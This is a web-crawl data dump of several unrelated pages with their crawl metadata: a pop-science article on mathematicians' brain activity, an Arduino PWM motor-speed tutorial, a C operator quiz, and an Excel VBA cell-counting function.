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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8887971,"math_prob":0.9989643,"size":1505,"snap":"2019-26-2019-30","text_gpt3_token_len":492,"char_repetition_ratio":0.101265825,"word_repetition_ratio":0.023715414,"special_character_ratio":0.32358804,"punctuation_ratio":0.113149844,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9998148,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-06-18T12:54:28Z\",\"WARC-Record-ID\":\"<urn:uuid:572f8786-ea02-475c-97b4-66b5b18a4b39>\",\"Content-Length\":\"142232\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:af7d05d3-7fda-4a0a-a245-d656245cacc7>\",\"WARC-Concurrent-To\":\"<urn:uuid:4cfebc97-876f-402e-850c-e1651a111119>\",\"WARC-IP-Address\":\"151.101.1.69\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/1550612/computing-homology-of-square-with-all-vertices-identified\",\"WARC-Payload-Digest\":\"sha1:S2M32SNSZBPCTSCLWDGNZBVXATE3BRUQ\",\"WARC-Block-Digest\":\"sha1:GEIG7QAEHX7MFFCWE5DYGHNFZZEQRURB\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-26/CC-MAIN-2019-26_segments_1560627998724.57_warc_CC-MAIN-20190618123355-20190618145355-00172.warc.gz\"}"} |
https://www.sciencealert.com/do-high-level-mathematicians-have-different-brains-than-other-academics | [
"",
null,
"# Do Great Mathematicians Have Different Brains to The Rest of Us?\n\nJOSH HRALA\n6 MAY 2016\n\nHow did great mathematicians like Stephen Hawking and Albert Einstein make the leap from understanding basic mathematical concepts to answering fundamental questions about the Universe? Is this level of thinking the product of hard work, or are the brains of great thinkers inherently different than the rest of ours?\n\nIf these sound like questions you’ve had in the past, fear not, because neuroscientists have been pondering them for years.\n\nFor researchers, the debate has largely been about which areas of the brain are at work when mathematicians think about particularly complex issues - specifically, if they use the same areas to process both math and language.\n\nNow, a new study has put the debate to rest once and for all by identifying a special area in the brain that's used for mathematical thinking - and even non-maths experts are born with it.\n\nIn the study, conducted by researchers from the University of Paris, France, 15 high-level mathematicians and 15 high-level academics in other fields underwent fMRI scans and were asked to answer 'true' or 'false' to a series of questions. Some of these questions were mathematical, and some were word-based.\n\nThe team found that word-based problems triggered pathways typically associated with language processing, but when the questions prompted the participants to use high-level mathematical processing, the parietal, the prefrontal, and inferior temporal regions in the brains of the mathematicians lit up, according to Bob Yirka at Medical Xpress.\n\nThe brains of non-maths academics didn't light up, most likely because they weren't able to understand the problems being presented.\n\n\"[B]ecause they were not trained in higher level math, the same areas in the brains of the non-mathematicians lit up only when asked more general questions about numbers and math formulas,\" says Yirka\n\nSo what does this all mean, especially for us non-geniuses? Well, it shows that maths is processed in a specific area of the brain, no matter how complex the questioning.\n\nFor example, when Stephen Hawking is balancing his cheque book, he's using the same parts of his brain that he would while calculating what happens at a black hole's event horizon, which is pretty neat, because those are two completely different scenarios with completely different levels of mathematical thinking.\n\nThe real question now is whether non-mathematicians can learn to understand high-level math through training, and, if they can, if the same areas start to light up as their comprehension increases.\n\nDaniel Ansari, a cognitive neuroscientist from the University of Western Ontario in Canada, who was not a part of the study, summed up this question to Scientific American’s Jordana Cepelewicz\n\n\"Most of us master basic arithmetic, so we’re already recruiting these brain regions, but only a fraction of us go on to do high-level math. We don’t yet know whether becoming a mathematical expert changes the way you do arithmetic or whether learning arithmetic lays out the foundation for acquiring higher-level mathematical concepts.\"\n\nSo far, there's no word if such a study will be carried out, but it seems like the logical next step for researchers trying to understand the minds of some of our time’s greatest theorists.\n\nThe team’s findings were published in Proceedings of the National Academy of Sciences."
] | [
null,
"https://www.sciencealert.com/images/articles/processed/BrainHeader_600.jpg",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.958908,"math_prob":0.5053018,"size":3336,"snap":"2021-21-2021-25","text_gpt3_token_len":657,"char_repetition_ratio":0.1242497,"word_repetition_ratio":0.003787879,"special_character_ratio":0.18735012,"punctuation_ratio":0.087893866,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95794,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-05-16T16:26:15Z\",\"WARC-Record-ID\":\"<urn:uuid:e77dbaab-b8e6-4885-a9e8-d919432bdd2f>\",\"Content-Length\":\"30791\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a74d0d26-e8af-4fa7-9528-45dff8f54f85>\",\"WARC-Concurrent-To\":\"<urn:uuid:bb9295e8-a5dd-4c52-b823-7b564acc5a9b>\",\"WARC-IP-Address\":\"172.67.72.138\",\"WARC-Target-URI\":\"https://www.sciencealert.com/do-high-level-mathematicians-have-different-brains-than-other-academics\",\"WARC-Payload-Digest\":\"sha1:ZSNQ5HIH564FW5GNXUFLGVZGPOX2JKGT\",\"WARC-Block-Digest\":\"sha1:DONILIYJI5KSPVN5LFL4SJABNZ5IRZKB\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-21/CC-MAIN-2021-21_segments_1620243991224.58_warc_CC-MAIN-20210516140441-20210516170441-00286.warc.gz\"}"} |
https://www.circuitstoday.com/dc-motor-speed-control-arduino-pwm | [
"## DC Motor Speed Control Using Arduino & PWM\n\nSpeed control of DC motor with PC Interface is an easy DIY project. In this project DC motor’s speed is controlled by sending the command through PC. Arduino is directly connected to PC through the USB cable and command is given to Arduino on serial monitor of the Arduino IDE.\n\nMotor is connected to a transistor, and the base of transistor is connected to PWM pin of Arduino and motors speed is varied according to PWM signal coming from Arduino.\n\n### Arduino DC Motor Control – Working\n\nArduino is connected to PC through the USB cable. We can send the command to PC on the serial monitor. We can change the speed of motor from 0 to 9. When 0 is sent over the Serial Monitor, the motor runs at minimum speed (that is zero). When the speed is varied from 1 to 9, the speed increases, with the value 9 set as the maximum speed of the motor.\n\nA PWM DC motor controller technology is used to control the speed. In PWM, the Arduino sends a pulsating wave that is similar to astable mode of 555 timer IC.\n\n### PWM Speed Control (Pulse Width Modulation)\n\nMicrocontroller and Arduino are digital devices; they cannot give the analog output. Microcontroller gives Zero and ONE as output, where ZERO is logical LOW and ONE is logical HIGH. In our case, we are using 5 volt version of the Arduino. So it’s logical ZERO is zero voltage, and logical HIGH is 5 voltage.\n\nDigital output is good for digital devices but sometimes we need the analog output. In such a case the PWM is very useful. In the PWM, output signal switches between zero and one, on high and fixed frequency, as shown in the figure below.\n\nAs shown in the above figure the ON time is “Ton” and the OFF time is “Toff”. T is the sum of the “Ton” and “Toff” which is called the Time Period. In the concept of PWM “T” is not varying and the “Ton” and the “Toff” can vary, in this way when “Ton” increase “Toff” will decrease and “Toff” increase when “Ton” decrease proportionally.\n\nThe duty cycle is the fraction of one Time period. Duty cycle is commonly expressed as a percentage or a ratio. A period is the time it takes for a signal to complete an on-and-off cycle. As a formula, a duty cycle may be expressed as:\n\n`DUTY CYCLE = (Ton ÷ T) x100 %`\n\nNow the motor’s speed varies according to duty cycle. Suppose the duty is zero, motor does not run and when duty cycle is 100 % the motor moves on maximum RPM. But this concept is not always right because motor starts running after giving some fixed voltage that is called threshold voltage.\n\n### Transistor (2N2222)\n\nMicrocontroller and the Arduino can process signals and consumes almost 20 to 40mA current but motors need high current and voltage, so we are using the transistor for driving the motor. Transistor is connected in series with motor and transistor’s base is connected to Arduino’s PWM pin through a resistance. PWM signal is coming from Arduino and the transistor works as a switch and it short circuit the Emitter (E) and Collector (C) when PWM signal is in High state and normally opens when PWM signal is in LOW state. This process works continuously and the motors runs at desired speed.\n\n### Components\n\nComponents SpecificationQuantity\nArduinoNano1\nDC MotorLow Power1\nTransistor2N2221\nResistance1K1\nDiode1N40041\nUSB CableFor Arduino Nano1\n\n### Arduino DC Motor Control – Circuit\n\nCircuit diagram is shown in the figure below. If you are making this circuit on the general purpose PCB (ZERO PCB) or breadboard, this figure is useful.\n\nMoreover, if you are good in the PCB Etching, use the images provided below.\n\nIn the circuit an Arduino Nano is used, which is very small in size and Breadboard friendly.\n\nA transistor’s (2n2222) BASE pin is connected to D9 pin of Arduino through a Resistance of 1k ohm, Resistance is used for current limitation. Motor is connected between collector pin of transistor and Vcc. A diode (1n4004) is connected parallel to the motor in reverse bias; it is used for blocking the reverse current. Emitter pin of the transistor is connected to the ground. This circuit is powered by a 12 volt adapter.\n\n### Arduino PWM Motor Control – Video\n\nIn the beginning of the code two integers are declared by name “out1” and “val”, where out1 is equal to 9 which shown that pin D9 of Arduino is used as output pin (or PWM pin). Moreover, data coming from the serial monitor saved in the second integer “val”.\n\nIn the void setup() serial communication is begin by using function “Serial.begin(9600)” where 9600 is the baud rate of serial monitor. After it “out1” is declared as output because the motor is an output device.\n\nIn the void loop “serial.available” is used inside the “if” condition, it become true when any data is sent over the serial monitor. This data is saved in “val” integer using “Serial.read” function.\n\nAfter it many “if” conditions are used, in the first “if condition”, when ‘0’ is sent through the serial monitor, it become true. In the bracket “analogWrite(out1 , 0)” is used for running the motor at the zero PWM value. In the function “analogWrite (out1, 0)”, “out1” is used to indicate the pin which we want to use and “0” is the PWM value at this pin. After it “Speed is = 0” is shown on serial monitor using “Serial.println” function. After it the integer “val” is updated to 10, where 10 is the random value, which is other than 0 to 9.\n\nIn the next line if condition is used for “val ==1”, at this time motor runs at PWM value of 175. Same conditions are used upto 9, at the 9 motor runs at 255 PWM value, 255 is the maximum PWM value.\n\n### Process\n\n1. Connect the Arduino through USB and upload the code\n2. Open the serial monitor and set the baud rate at 9600\n3. Now type any number from 0 to 9.\n\nAfter typing any value from zero to 9, speed of the motor varies, but we cannot see varying speed in video properly, but you can see it live."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.90291554,"math_prob":0.8858165,"size":6055,"snap":"2020-34-2020-40","text_gpt3_token_len":1431,"char_repetition_ratio":0.13419269,"word_repetition_ratio":0.00907441,"special_character_ratio":0.24062759,"punctuation_ratio":0.0852649,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9776973,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-21T01:04:23Z\",\"WARC-Record-ID\":\"<urn:uuid:abea6f28-1003-41e8-bed6-085acb731ccd>\",\"Content-Length\":\"75450\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:1aef3f22-3361-4824-a5f2-abcc30e27f7b>\",\"WARC-Concurrent-To\":\"<urn:uuid:83fabbf1-0aa2-4184-9755-2da9f447a3de>\",\"WARC-IP-Address\":\"35.175.60.16\",\"WARC-Target-URI\":\"https://www.circuitstoday.com/dc-motor-speed-control-arduino-pwm\",\"WARC-Payload-Digest\":\"sha1:5ADO5OIHXXCK5G3CQYTLWB5ZZYRGHMW5\",\"WARC-Block-Digest\":\"sha1:M4RRFW5BJJDVTK7BGSAUGKXQAKQCFGSU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600400198868.29_warc_CC-MAIN-20200920223634-20200921013634-00721.warc.gz\"}"} |
https://study2online.com/question/1258.html | [
"# Which of the following comments about the ++ operator are correct?\n\nHome | Discussion Forum\n\nView More Related Question\n\n1) Determine output:\n\n`void main() { int i=10; i = !i>14; printf(\"i=%d\", i); }`\n\n2) Which operator has the lowest priority?\n\n3) Which of the following operator takes only integer operands?\n\n4) What number will z in the sample code given below?\n\n`int z, x=5, y= -10, a=4, b=2; z = x++ - --y*b/a;`\n\n5) What will be the output?\n\n`void main(){ int a=10, b=20; char x=1, y=0; if(a,b,x,y){ printf(\"EXAM\"); } }`"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7811758,"math_prob":0.9835821,"size":577,"snap":"2023-40-2023-50","text_gpt3_token_len":172,"char_repetition_ratio":0.13263525,"word_repetition_ratio":0.121212125,"special_character_ratio":0.34662044,"punctuation_ratio":0.19117647,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99579203,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-23T14:57:56Z\",\"WARC-Record-ID\":\"<urn:uuid:936aff39-f067-4f39-bdc7-2a49e33a65bc>\",\"Content-Length\":\"27469\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:5c097e92-ec2a-4d8e-884e-68e761feb6e4>\",\"WARC-Concurrent-To\":\"<urn:uuid:1836edda-a9d6-4525-8d4a-d1b83792dda6>\",\"WARC-IP-Address\":\"139.59.60.20\",\"WARC-Target-URI\":\"https://study2online.com/question/1258.html\",\"WARC-Payload-Digest\":\"sha1:F7T5EUZMVZFHRWBT2HJRKJRO2V3VLTHE\",\"WARC-Block-Digest\":\"sha1:5ZZGM6OO6JSHZAUG3TJ4T6TIFGPCQFGM\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233506481.17_warc_CC-MAIN-20230923130827-20230923160827-00884.warc.gz\"}"} |
http://scriptk.com/Dev/Browse/?ID=DLRZVW1OQO | [
"## CountColumnCells + CountColumnCells_Criteria\n\nCounts how many cells in a column in any sheet, any workbook using COUNTIF function, along with version that searches for certain criteria.\n\nFunction CountColumnCells(ColumnName, Optional WB = \"This\", Optional Shee = \"Active\", Optional StartFromRow = 1)\nCountColumnCells = CountColumnCells_Criteria(ColumnName, \"\", WB, Shee, StartFromRow)\nEnd Function\n\nFunction CountColumnCells_Criteria(ColumnName, Criteria, Optional WB = \"This\", Optional Shee = \"Active\", Optional StartFromRow = 1)\n' Condition = \"#\" means only numbers\n' = \"\" means all\n' = \">0\" numbers greator than 0\n'\nDim SearchRR As Range\nIf WB = \"This\" Then WB = ThisWorkbook.Name\nIf WB = \"Active\" Then WB = ActiveWorkbook.Name\nIf Shee = \"Active\" Then Shee = Workbooks(WB).Worksheets(1).Name\nIf ColumnName = \"\" Then ColumnName = \"A\"\nSet SearchRR = Workbooks(WB).Worksheets(Shee).Range(ColumnName & 1).EntireColumn\nIf StartFromRow > 1 Then\nLastR = Range(\"A1\").EntireColumn.Rows.Count\nSet SearchRR = Workbooks(WB).Worksheets(Shee).Range(ColumnName & StartFromRow, ColumnName & LastR)\n'Rett = WorksheetFunction.CountA(Workbooks(WB).Worksheets(Shee).Range( _\nColumnName & StartFromRow, ColumnName & LastR))\nEnd If\nIf Criteria = \"#\" Then\nRett = WorksheetFunction.Count(SearchRR)\nElseIf Criteria = \"\" Then\nRett = WorksheetFunction.CountA(SearchRR)\nElse\nRett = WorksheetFunction.CountIf(SearchRR, Criteria)\nEnd If\nCountColumnCells_Criteria = Rett\nEnd Function\nColumnName, Criteria, WB, Shee, StartFromRow\nor\nColumnName, WB, Shee, StartFromRow"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.6318417,"math_prob":0.9358729,"size":2734,"snap":"2019-26-2019-30","text_gpt3_token_len":759,"char_repetition_ratio":0.17728938,"word_repetition_ratio":0.8621701,"special_character_ratio":0.24359912,"punctuation_ratio":0.17917676,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9865418,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-07-19T07:09:49Z\",\"WARC-Record-ID\":\"<urn:uuid:d72708e1-0d6c-4b2d-b546-be1da6b39aaf>\",\"Content-Length\":\"30196\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ddf1f51a-5f37-4f30-a86b-35d1e0094d26>\",\"WARC-Concurrent-To\":\"<urn:uuid:afc464c6-7c98-4bc3-82f5-0dfc9f9d05fe>\",\"WARC-IP-Address\":\"143.95.251.26\",\"WARC-Target-URI\":\"http://scriptk.com/Dev/Browse/?ID=DLRZVW1OQO\",\"WARC-Payload-Digest\":\"sha1:4SOZL7P234DLSIMYPSCOD4CTAUF4Y6OO\",\"WARC-Block-Digest\":\"sha1:4PNRNQNBL6RI3EL2FDDB445RQXKAHLEV\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-30/CC-MAIN-2019-30_segments_1563195526064.11_warc_CC-MAIN-20190719053856-20190719075856-00126.warc.gz\"}"} |
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